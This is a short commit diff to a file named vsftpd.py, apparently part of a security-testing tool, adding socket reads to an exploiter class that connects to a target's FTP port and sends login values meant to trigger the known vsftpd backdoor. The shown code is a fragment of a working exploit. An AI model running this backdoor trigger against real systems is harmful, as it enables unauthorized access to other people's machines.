Update vsftpd.py

using `ftp_socket.recv(1024).decode('utf-8')` to prevent chances of race conditions
This commit is contained in:
Dhayalan 2019-03-12 19:51:12 +01:00
parent 47baea039a
commit 9b0c0d4233
1 changed files with 2 additions and 1 deletions

View File

@ -34,9 +34,10 @@ class VSFTPDExploiter(HostExploiter):
LOG.info('[*] Attempting to trigger backdoor...')
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((self.host.ip_addr, FTP_PORT))
ftp_socket.recv(1024).decode('utf-8')
# Attempt to login to trigger backdoor
ftp_socket.send(USERNAME)
ftp_socket.recv(1024).decode('utf-8')
ftp_socket.send(PASSWORD)
time.sleep(1)
ftp_socket.close()